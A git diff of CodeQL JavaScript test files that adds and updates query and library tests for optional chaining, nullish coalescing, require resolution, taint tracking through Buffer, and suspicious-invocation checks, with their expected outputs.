b/javascript/ql/test/library-tests/NodeJS/Require.expected index a7ec65d67a2..491c80a9a87 100644 --- a/javascript/ql/test/library-tests/NodeJS/Require.expected +++ b/javascript/ql/test/library-tests/NodeJS/Require.expected @@ -1,14 +1,18 @@ -| a.js:1:9:1:22 | require('./b') | ./b | b.js:1:1:8:0 | | -| a.js:3:6:3:23 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | | -| a.js:4:6:4:29 | require ... /d.js') | ./sub/../d.js | d.js:1:1:7:15 | | -| a.js:7:1:7:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | | -| a.js:10:1:10:18 | require(__dirname) | | index.js:1:1:3:0 | | -| a.js:11:1:11:25 | require ... + '/e') | /e | e.js:1:1:7:0 | | -| a.js:12:1:12:28 | require ... + 'c') | ./sub/c | sub/c.js:1:1:4:0 | | -| b.js:1:1:1:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | | -| d.js:7:1:7:14 | require('foo') | foo | sub/f.js:1:1:4:17 | | -| index.js:2:1:2:41 | require ... b.js")) | /index.js/../b.js | b.js:1:1:8:0 | | -| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | ./depend-on-me | mjs-files/depend-on-me.mjs:1:1:7:1 | | -| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | ./depend-on-me.js | mjs-files/depend-on-me.js:1:1:8:0 | | -| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | ./depend-on-me.mjs | mjs-files/depend-on-me.mjs:1:1:7:1 | | -| sub/c.js:1:1:1:15 | require('../a') | ../a | a.js:1:1:14:0 | | +| a.js:1:9:1:22 | require('./b') | +| a.js:2:7:2:19 | require('fs') | +| a.js:3:6:3:23 | require('./sub/c') | +| a.js:4:6:4:29 | require ... /d.js') | +| a.js:7:1:7:18 | require('./sub/c') | +| a.js:10:1:10:18 | require(__dirname) | +| a.js:11:1:11:25 | require ... + '/e') | +| a.js:12:1:12:28 | require ... + 'c') | +| b.js:1:1:1:18 | require('./sub/c') | +| d.js:1:1:1:38 | require ... s/ini') | +| d.js:7:1:7:14 | require('foo') | +| f.js:2:1:2:7 | r("fs") | +| index.js:1:12:1:26 | require('path') | +| index.js:2:1:2:41 | require ... b.js")) | +| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | +| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | +| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | +| sub/c.js:1:1:1:15 | require('../a') | diff --git a/javascript/ql/test/library-tests/NodeJS/Require.ql b/javascript/ql/test/library-tests/NodeJS/Require.ql index 6d4d90e8023..bf63f67da93 100644 --- a/javascript/ql/test/library-tests/NodeJS/Require.ql +++ b/javascript/ql/test/library-tests/NodeJS/Require.ql @@ -1,6 +1,4 @@ import semmle.javascript.NodeJS -from Require r, string fullpath, string prefix -where fullpath = r.getImportedPath().getValue() and - sourceLocationPrefix(prefix) -select r, fullpath.replaceAll(prefix, ""), r.getImportedModule() +from Require r +select r diff --git a/javascript/ql/test/library-tests/NodeJS/RequireImport.expected b/javascript/ql/test/library-tests/NodeJS/RequireImport.expected new file mode 100644 index 00000000000..a7ec65d67a2 --- /dev/null +++ b/javascript/ql/test/library-tests/NodeJS/RequireImport.expected @@ -0,0 +1,14 @@ +| a.js:1:9:1:22 | require('./b') | ./b | b.js:1:1:8:0 | | +| a.js:3:6:3:23 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | | +| a.js:4:6:4:29 | require ... /d.js') | ./sub/../d.js | d.js:1:1:7:15 | | +| a.js:7:1:7:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | | +| a.js:10:1:10:18 | require(__dirname) | | index.js:1:1:3:0 | | +| a.js:11:1:11:25 | require ... + '/e') | /e | e.js:1:1:7:0 | | +| a.js:12:1:12:28 | require ... + 'c') | ./sub/c | sub/c.js:1:1:4:0 | | +| b.js:1:1:1:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | | +| d.js:7:1:7:14 | require('foo') | foo | sub/f.js:1:1:4:17 | | +| index.js:2:1:2:41 | require ... b.js")) | /index.js/../b.js | b.js:1:1:8:0 | | +| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | ./depend-on-me | mjs-files/depend-on-me.mjs:1:1:7:1 | | +| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | ./depend-on-me.js | mjs-files/depend-on-me.js:1:1:8:0 | | +| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | ./depend-on-me.mjs | mjs-files/depend-on-me.mjs:1:1:7:1 | | +| sub/c.js:1:1:1:15 | require('../a') | ../a | a.js:1:1:14:0 | | diff --git a/javascript/ql/test/library-tests/NodeJS/RequireImport.ql b/javascript/ql/test/library-tests/NodeJS/RequireImport.ql new file mode 100644 index 00000000000..6d4d90e8023 --- /dev/null +++ b/javascript/ql/test/library-tests/NodeJS/RequireImport.ql @@ -0,0 +1,6 @@ +import semmle.javascript.NodeJS + +from Require r, string fullpath, string prefix +where fullpath = r.getImportedPath().getValue() and + sourceLocationPrefix(prefix) +select r, fullpath.replaceAll(prefix, ""), r.getImportedModule() diff --git a/javascript/ql/test/library-tests/NodeJS/f.js b/javascript/ql/test/library-tests/NodeJS/f.js new file mode 100644 index 00000000000..6ccae207b9c --- /dev/null +++ b/javascript/ql/test/library-tests/NodeJS/f.js @@ -0,0 +1,2 @@ +var r = require; +r("fs"); \ No newline at end of file diff --git a/javascript/ql/test/library-tests/OptionalChaining/OptionalChainRoot.expected b/javascript/ql/test/library-tests/OptionalChaining/OptionalChainRoot.expected new file mode 100644 index 00000000000..5ec86ee7462 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/OptionalChainRoot.expected @@ -0,0 +1,18 @@ +| short-circuiting.js:3:5:3:18 | x?.(o1 = null) | short-circuiting.js:3:5:3:18 | x?.(o1 = null) | +| short-circuiting.js:7:5:7:18 | x?.[o2 = null] | short-circuiting.js:7:5:7:18 | x?.[o2 = null] | +| short-circuiting.js:12:5:12:31 | x?.[o3 ... = null) | short-circuiting.js:12:5:12:18 | x?.[o3 = null] | +| short-circuiting.js:12:5:12:31 | x?.[o3 ... = null) | short-circuiting.js:12:5:12:31 | x?.[o3 ... = null) | +| tst.js:2:1:2:6 | a?.b.c | tst.js:2:1:2:4 | a?.b | +| tst.js:3:1:3:6 | a.b?.c | tst.js:3:1:3:6 | a.b?.c | +| tst.js:4:1:4:7 | a?.b?.c | tst.js:4:1:4:4 | a?.b | +| tst.js:4:1:4:7 | a?.b?.c | tst.js:4:1:4:7 | a?.b?.c | +| tst.js:7:1:7:7 | f?.()() | tst.js:7:1:7:5 | f?.() | +| tst.js:8:1:8:7 | f()?.() | tst.js:8:1:8:7 | f()?.() | +| tst.js:9:1:9:9 | f?.()?.() | tst.js:9:1:9:5 | f?.() | +| tst.js:9:1:9:9 | f?.()?.() | tst.js:9:1:9:9 | f?.()?.() | +| tst.js:12:1:12:8 | a?.m().b | tst.js:12:1:12:4 | a?.m | +| tst.js:13:1:13:9 | a.m?.().b | tst.js:13:1:13:7 | a.m?.() | +| tst.js:14:1:14:8 | a.m()?.b | tst.js:14:1:14:8 | a.m()?.b | +| tst.js:15:1:15:11 | a?.m?.()?.b | tst.js:15:1:15:4 | a?.m | +| tst.js:15:1:15:11 | a?.m?.()?.b | tst.js:15:1:15:8 | a?.m?.() | +| tst.js:15:1:15:11 | a?.m?.()?.b | tst.js:15:1:15:11 | a?.m?.()?.b | diff --git a/javascript/ql/test/library-tests/OptionalChaining/OptionalChainRoot.ql b/javascript/ql/test/library-tests/OptionalChaining/OptionalChainRoot.ql new file mode 100644 index 00000000000..f11b7fe54ab --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/OptionalChainRoot.ql @@ -0,0 +1,4 @@ +import javascript + +from OptionalChainRoot root +select root, root.getAnOptionalUse() diff --git a/javascript/ql/test/library-tests/OptionalChaining/OptionalUse.expected b/javascript/ql/test/library-tests/OptionalChaining/OptionalUse.expected new file mode 100644 index 00000000000..430d4d52299 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/OptionalUse.expected @@ -0,0 +1,18 @@ +| short-circuiting.js:3:5:3:18 | x?.(o1 = null) | +| short-circuiting.js:7:5:7:18 | x?.[o2 = null] | +| short-circuiting.js:12:5:12:18 | x?.[o3 = null] | +| short-circuiting.js:12:5:12:31 | x?.[o3 ... = null) | +| tst.js:2:1:2:4 | a?.b | +| tst.js:3:1:3:6 | a.b?.c | +| tst.js:4:1:4:4 | a?.b | +| tst.js:4:1:4:7 | a?.b?.c | +| tst.js:7:1:7:5 | f?.() | +| tst.js:8:1:8:7 | f()?.() | +| tst.js:9:1:9:5 | f?.() | +| tst.js:9:1:9:9 | f?.()?.() | +| tst.js:12:1:12:4 | a?.m | +| tst.js:13:1:13:7 | a.m?.() | +| tst.js:14:1:14:8 | a.m()?.b | +| tst.js:15:1:15:4 | a?.m | +| tst.js:15:1:15:8 | a?.m?.() | +| tst.js:15:1:15:11 | a?.m?.()?.b | diff --git a/javascript/ql/test/library-tests/OptionalChaining/OptionalUse.ql b/javascript/ql/test/library-tests/OptionalChaining/OptionalUse.ql new file mode 100644 index 00000000000..c53cf68d7b9 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/OptionalUse.ql @@ -0,0 +1,3 @@ +import javascript + +select any(OptionalUse u) \ No newline at end of file diff --git a/javascript/ql/test/library-tests/OptionalChaining/ShortCircuiting.expected b/javascript/ql/test/library-tests/OptionalChaining/ShortCircuiting.expected new file mode 100644 index 00000000000..d61dccc8c5a --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/ShortCircuiting.expected @@ -0,0 +1,8 @@ +| short-circuiting.js:4:10:4:11 | o1 | file://:0:0:0:0 | null | +| short-circuiting.js:4:10:4:11 | o1 | short-circuiting.js:2:14:2:15 | object literal | +| short-circuiting.js:8:10:8:11 | o2 | file://:0:0:0:0 | null | +| short-circuiting.js:8:10:8:11 | o2 | short-circuiting.js:6:14:6:15 | object literal | +| short-circuiting.js:13:10:13:11 | o3 | file://:0:0:0:0 | null | +| short-circuiting.js:13:10:13:11 | o3 | short-circuiting.js:10:14:10:15 | object literal | +| short-circuiting.js:14:10:14:11 | o4 | file://:0:0:0:0 | null | +| short-circuiting.js:14:10:14:11 | o4 | short-circuiting.js:11:14:11:15 | object literal | diff --git a/javascript/ql/test/library-tests/OptionalChaining/ShortCircuiting.ql b/javascript/ql/test/library-tests/OptionalChaining/ShortCircuiting.ql new file mode 100644 index 00000000000..5f51047ea72 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/ShortCircuiting.ql @@ -0,0 +1,7 @@ +import javascript + +from CallExpr c, Expr arg +where + c.getCalleeName() = "DUMP" and + arg = c.getArgument(0) +select arg, arg.analyze().getAValue() diff --git a/javascript/ql/test/library-tests/OptionalChaining/ShortCirtuiting.expected b/javascript/ql/test/library-tests/OptionalChaining/ShortCirtuiting.expected new file mode 100644 index 00000000000..d61dccc8c5a --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/ShortCirtuiting.expected @@ -0,0 +1,8 @@ +| short-circuiting.js:4:10:4:11 | o1 | file://:0:0:0:0 | null | +| short-circuiting.js:4:10:4:11 | o1 | short-circuiting.js:2:14:2:15 | object literal | +| short-circuiting.js:8:10:8:11 | o2 | file://:0:0:0:0 | null | +| short-circuiting.js:8:10:8:11 | o2 | short-circuiting.js:6:14:6:15 | object literal | +| short-circuiting.js:13:10:13:11 | o3 | file://:0:0:0:0 | null | +| short-circuiting.js:13:10:13:11 | o3 | short-circuiting.js:10:14:10:15 | object literal | +| short-circuiting.js:14:10:14:11 | o4 | file://:0:0:0:0 | null | +| short-circuiting.js:14:10:14:11 | o4 | short-circuiting.js:11:14:11:15 | object literal | diff --git a/javascript/ql/test/library-tests/OptionalChaining/ShortCirtuiting.ql b/javascript/ql/test/library-tests/OptionalChaining/ShortCirtuiting.ql new file mode 100644 index 00000000000..5f51047ea72 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/ShortCirtuiting.ql @@ -0,0 +1,7 @@ +import javascript + +from CallExpr c, Expr arg +where + c.getCalleeName() = "DUMP" and + arg = c.getArgument(0) +select arg, arg.analyze().getAValue() diff --git a/javascript/ql/test/library-tests/OptionalChaining/short-circuiting.js b/javascript/ql/test/library-tests/OptionalChaining/short-circuiting.js new file mode 100644 index 00000000000..97576676994 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/short-circuiting.js @@ -0,0 +1,16 @@ +(function() { + var o1 = {}; + x?.(o1 = null); + DUMP(o1); + + var o2 = {}; + x?.[o2 = null]; + DUMP(o2); + + var o3 = {}, + o4 = {}; + x?.[o3 = null]?.(o4 = null); + DUMP(o3); + DUMP(o4); +}); +// semmle-extractor-options: --experimental diff --git a/javascript/ql/test/library-tests/OptionalChaining/tst.js b/javascript/ql/test/library-tests/OptionalChaining/tst.js new file mode 100644 index 00000000000..b0ee7435722 --- /dev/null +++ b/javascript/ql/test/library-tests/OptionalChaining/tst.js @@ -0,0 +1,17 @@ +a.b.c; +a?.b.c; +a.b?.c; +a?.b?.c; + +f()(); +f?.()(); +f()?.(); +f?.()?.(); + +a.m().b; +a?.m().b; +a.m?.().b; +a.m()?.b; +a?.m?.()?.b; + +// semmle-extractor-options: --experimental diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index 8639e3592ad..d24e4148210 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -23,3 +23,5 @@ | tst.js:2:13:2:20 | source() | tst.js:41:14:41:16 | ary | | tst.js:2:13:2:20 | source() | tst.js:44:10:44:30 | innocen ... ) => x) | | tst.js:2:13:2:20 | source() | tst.js:45:10:45:24 | x.map(x2 => x2) | +| tst.js:2:13:2:20 | source() | tst.js:47:10:47:30 | Buffer. ... 'hex') | +| tst.js:2:13:2:20 | source() | tst.js:48:10:48:22 | new Buffer(x) | diff --git a/javascript/ql/test/library-tests/TaintTracking/tst.js b/javascript/ql/test/library-tests/TaintTracking/tst.js index 48c7ace4611..61613507b9e 100644 --- a/javascript/ql/test/library-tests/TaintTracking/tst.js +++ b/javascript/ql/test/library-tests/TaintTracking/tst.js @@ -44,4 +44,6 @@ function test() { sink(innocent.map(() => x)); // NOT OK sink(x.map(x2 => x2)); // NOT OK + sink(Buffer.from(x, 'hex')); // NOT OK + sink(new Buffer(x)); // NOT OK } diff --git a/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/test.expected b/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/test.expected new file mode 100644 index 00000000000..d5b7b7c06e5 --- /dev/null +++ b/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/test.expected @@ -0,0 +1,19 @@ +| v1 | file://:0:0:0:0 | true | +| v2 | file://:0:0:0:0 | false | +| v2 | file://:0:0:0:0 | undefined | +| v4 | file://:0:0:0:0 | false | +| v4 | file://:0:0:0:0 | true | +| v4 | file://:0:0:0:0 | undefined | +| v5 | file://:0:0:0:0 | false | +| v5 | file://:0:0:0:0 | true | +| v5 | file://:0:0:0:0 | undefined | +| v6 | file://:0:0:0:0 | false | +| v6 | file://:0:0:0:0 | true | +| v6 | file://:0:0:0:0 | undefined | +| v7 | file://:0:0:0:0 | false | +| v7 | file://:0:0:0:0 | true | +| v7 | file://:0:0:0:0 | undefined | +| v7 | tst.js:22:15:22:16 | object literal | +| x | file://:0:0:0:0 | false | +| x | file://:0:0:0:0 | true | +| x | file://:0:0:0:0 | undefined | diff --git a/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/test.ql b/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/test.ql new file mode 100644 index 00000000000..c24b5600e76 --- /dev/null +++ b/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/test.ql @@ -0,0 +1,5 @@ +import javascript + +from Variable v, Expr e +where e = v.getAnAssignedExpr() +select v, e.analyze().getAValue() \ No newline at end of file diff --git a/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/tst.js b/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/tst.js new file mode 100644 index 00000000000..6c3458781a1 --- /dev/null +++ b/javascript/ql/test/library-tests/TypeInference/NullishCoalescing/tst.js @@ -0,0 +1,24 @@ +(function() { + var x = f()? undefined: f()? false: true; + + if (x || false) { + v1 = x; + } else { + v2 = x; + } + + if (x && false) { + v3 = x; + } else { + v4 = x; + } + + if (x ?? false) { + v5 = x; + } else { + v6 = x; + } + + v7 = x ?? {}; +}); +// semmle-extractor-options: --experimental diff --git a/javascript/ql/test/library-tests/TypeInference/OptionalChaining/test.expected b/javascript/ql/test/library-tests/TypeInference/OptionalChaining/test.expected new file mode 100644 index 00000000000..450db73b17b --- /dev/null +++ b/javascript/ql/test/library-tests/TypeInference/OptionalChaining/test.expected @@ -0,0 +1,22 @@ +| tst.js:2:14:2:21 | (null)() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:3:14:3:23 | (null)?.() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:3:14:3:23 | (null)?.() | file://:0:0:0:0 | undefined | +| tst.js:4:14:4:26 | (undefined)() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:5:14:5:28 | (undefined)?.() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:5:14:5:28 | (undefined)?.() | file://:0:0:0:0 | undefined | +| tst.js:6:14:6:24 | (unknown)() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:7:14:7:26 | (unknown)?.() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:7:14:7:26 | (unknown)?.() | file://:0:0:0:0 | undefined | +| tst.js:9:13:11:5 | unknown ... ;\\n } | file://:0:0:0:0 | undefined | +| tst.js:9:13:11:5 | unknown ... ;\\n } | tst.js:9:33:11:5 | anonymous function | +| tst.js:12:14:12:16 | f() | file://:0:0:0:0 | non-zero value | +| tst.js:13:14:13:18 | f?.() | file://:0:0:0:0 | non-zero value | +| tst.js:13:14:13:18 | f?.() | file://:0:0:0:0 | undefined | +| tst.js:15:13:17:5 | functio ... ;\\n } | tst.js:15:13:17:5 | function g | +| tst.js:18:14:18:16 | g() | file://:0:0:0:0 | non-zero value | +| tst.js:19:15:19:19 | g?.() | file://:0:0:0:0 | non-zero value | +| tst.js:19:15:19:19 | g?.() | file://:0:0:0:0 | undefined | +| tst.js:21:13:21:21 | undefined | file://:0:0:0:0 | undefined | +| tst.js:22:15:22:17 | h() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:23:15:23:19 | h?.() | file://:0:0:0:0 | indefinite value (call) | +| tst.js:23:15:23:19 | h?.() | file://:0:0:0:0 | undefined | diff --git a/javascript/ql/test/library-tests/TypeInference/OptionalChaining/test.ql b/javascript/ql/test/library-tests/TypeInference/OptionalChaining/test.ql new file mode 100644 index 00000000000..465b085408d --- /dev/null +++ b/javascript/ql/test/library-tests/TypeInference/OptionalChaining/test.ql @@ -0,0 +1,5 @@ +import javascript + +from Variable v, Expr e +where e = v.getAnAssignedExpr() +select e, e.analyze().getAValue() \ No newline at end of file diff --git a/javascript/ql/test/library-tests/TypeInference/OptionalChaining/tst.js b/javascript/ql/test/library-tests/TypeInference/OptionalChaining/tst.js new file mode 100644 index 00000000000..4890c8335cc --- /dev/null +++ b/javascript/ql/test/library-tests/TypeInference/OptionalChaining/tst.js @@ -0,0 +1,25 @@ +(function() { + var v1 = (null)(); + var v2 = (null)?.(); + var v3 = (undefined)(); + var v4 = (undefined)?.(); + var v5 = (unknown)(); + var v6 = (unknown)?.(); + + var f = unknown? undefined: function(){ + return 42; + }; + var v7 = f(); + var v8 = f?.(); + + var g = function(){ + return 42; + }; + var v9 = g(); + var v10 = g?.(); + + var h = undefined; + var v11 = h(); + var v12 = h?.(); +}); +// semmle-extractor-options: --experimental diff --git a/javascript/ql/test/library-tests/TypeScript/BindingPattern/VarDecl.expected b/javascript/ql/test/library-tests/TypeScript/BindingPattern/VarDecl.expected new file mode 100644 index 00000000000..aead5092430 --- /dev/null +++ b/javascript/ql/test/library-tests/TypeScript/BindingPattern/VarDecl.expected @@ -0,0 +1,3 @@ +| tst.tsx:1:10:1:10 | f | +| tst.tsx:1:12:1:12 | o | +| tst.tsx:2:14:2:14 | v | diff --git a/javascript/ql/test/library-tests/TypeScript/BindingPattern/VarDecl.ql b/javascript/ql/test/library-tests/TypeScript/BindingPattern/VarDecl.ql new file mode 100644 index 00000000000..7039e6fa812 --- /dev/null +++ b/javascript/ql/test/library-tests/TypeScript/BindingPattern/VarDecl.ql @@ -0,0 +1,4 @@ +import javascript + +from VarDecl decl +select decl diff --git a/javascript/ql/test/library-tests/TypeScript/BindingPattern/tst.tsx b/javascript/ql/test/library-tests/TypeScript/BindingPattern/tst.tsx new file mode 100644 index 00000000000..db332181280 --- /dev/null +++ b/javascript/ql/test/library-tests/TypeScript/BindingPattern/tst.tsx @@ -0,0 +1,4 @@ +function f(o) { + const { p: v = [] } = o; + return v; +} diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected index 1bd5a7ecf89..d753f3b6bc3 100644 --- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected +++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected @@ -1,3 +1,5 @@ | SuspiciousInvocation.js:11:5:11:58 | error(" ... status) | Callee is not a function: it has type undefined. | | namespace.ts:23:1:23:3 | g() | Callee is not a function: it has type object. | +| optional-chaining.js:3:5:3:7 | a() | Callee is not a function: it has type null. | +| optional-chaining.js:7:5:7:7 | b() | Callee is not a function: it has type undefined. | | super.js:11:5:11:11 | super() | Callee is not a function: it has type number. | diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js new file mode 100644 index 00000000000..2df3535216a --- /dev/null +++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js @@ -0,0 +1,10 @@ +(function(){ + var a = null; + a(); + a?.(); + + var b = undefined; + b(); + b?.(); +}); +// semmle-extractor-options: --experimental diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.expected b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.expected index 98f8b71952d..672ea838983 100644 --- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.expected +++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.expected @@ -1,4 +1,6 @@ | SuspiciousPropAccess.js:4:10:4:21 | result.value | The base expression of this property access is always undefined. | +| optional-chaining.js:3:5:3:7 | a.p | The base expression of this property access is always null. | +| optional-chaining.js:7:5:7:7 | b.p | The base expression of this property access is always undefined. | | tst.js:32:32:32:38 | a(1)[0] | The base expression of this property access is always null. | | tst.ts:19:3:19:5 | x.p | The base expression of this property access is always undefined. | | typeassertion.ts:14:3:14:9 | z.field | The base expression of this property access is always null. | diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js new file mode 100644 index 00000000000..9f662507227 --- /dev/null +++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js @@ -0,0 +1,10 @@ +(function(){ + var a = null; + a.p; + a?.p; + + var b = undefined; + b.p; + b?.p; +}); +// semmle-extractor-options: --experimental diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected index 698459cf12f..0c03a59fd22 100644 --- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected +++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected @@ -1,2 +1,2 @@ -| m.js:1:8:1:22 | functio ... = x;\\n} | Function A is invoked as a constructor here $@, and as a normal function here $@. | c1.js:2:1:2:9 | new A(42) | new A(42) | c2.js:2:1:2:5 | A(23) | A(23) | -| tst.js:1:1:1:22 | functio ... = y;\\n} | Function Point is invoked as a constructor here $@, and as a normal function here $@. | tst.js:6:1:6:17 | new Point(23, 42) | new Point(23, 42) | tst.js:7:1:7:13 | Point(56, 72) | Point(56, 72) | +| m.js:1:8:1:22 | functio ... = x;\\n} | Function A is sometimes invoked as a constructor (for example $@), and sometimes as a normal function (for example $@). | c1.js:2:1:2:9 | new A(42) | here | c2.js:2:1:2:5 | A(23) | here | +| tst.js:1:1:1:22 | functio ... = y;\\n} | Function Point is sometimes invoked as a constructor (for example $@), and sometimes as a normal function (for example $@). | tst.js:6:1:6:17 | new Point(23, 42) | here | tst.js:7:1:7:13 | Point(56, 72) | here | diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js index fbcc8666b5e..56af21411b6 100644 --- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js +++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js @@ -63,3 +63,6 @@ C(); // NOT OK, but flagged by IllegalInvocation new A(42); A.call({}, 23); })(); + +new Point(42, 23); // NOT OK, but not flagged since line 6 above was already flagged +Point(56, 72); // NOT OK, but not flagged since line 7 above was already flagged diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXssWithCustomSanitizer_old.expected b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXssWithCustomSanitizer_old.expected index bfbe2040225..621e6dcbf8e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXssWithCustomSanitizer_old.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXssWithCustomSanitizer_old.expected @@ -1,7 +1,7 @@ +WARNING: Predicate flowsFrom has been deprecated and may be removed in future (ReflectedXssWithCustomSanitizer_old.ql:21,11-20) WARNING: Type SanitizingGuard has been deprecated and may be removed in future (ReflectedXssWithCustomSanitizer_old.ql:8,34-64) WARNING: Type XssDataFlowConfiguration has been deprecated and may be removed in future (ReflectedXssWithCustomSanitizer_old.ql:14,20-44) WARNING: Type XssDataFlowConfiguration has been deprecated and may be removed in future (ReflectedXssWithCustomSanitizer_old.ql:20,6-30) -WARNING: Predicate flowsFrom has been deprecated and may be removed in future (ReflectedXssWithCustomSanitizer_old.ql:21,11-20) | ReflectedXss.js:8:14:8:45 | "Unknow ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:8:33:8:45 | req.params.id | user-provided value | | formatting.js:6:14:6:47 | util.fo ... , evil) | Cross-site scripting vulnerability due to $@. | formatting.js:4:16:4:29 | req.query.evil | user-provided value | | formatting.js:7:14:7:53 | require ... , evil) | Cross-site scripting vulnerability due to $@. | formatting.js:4:16:4:29 | req.query.evil | user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.qlref similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.qlref rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.qlref diff --git a/javascript/ql/test/query-tests/Security/CWE-094/angularjs.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/angularjs.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/angularjs.js rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/angularjs.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/eslint-escope-build.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/eslint-escope-build.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/eslint-escope-build.js rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/eslint-escope-build.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/express.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/express.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/express.js rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/express.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/externs.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/externs.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/externs.js rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/externs.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/react-native.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react-native.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/react-native.js rename to javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react-native.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/tst.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/tst.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-094/tst.js rename to 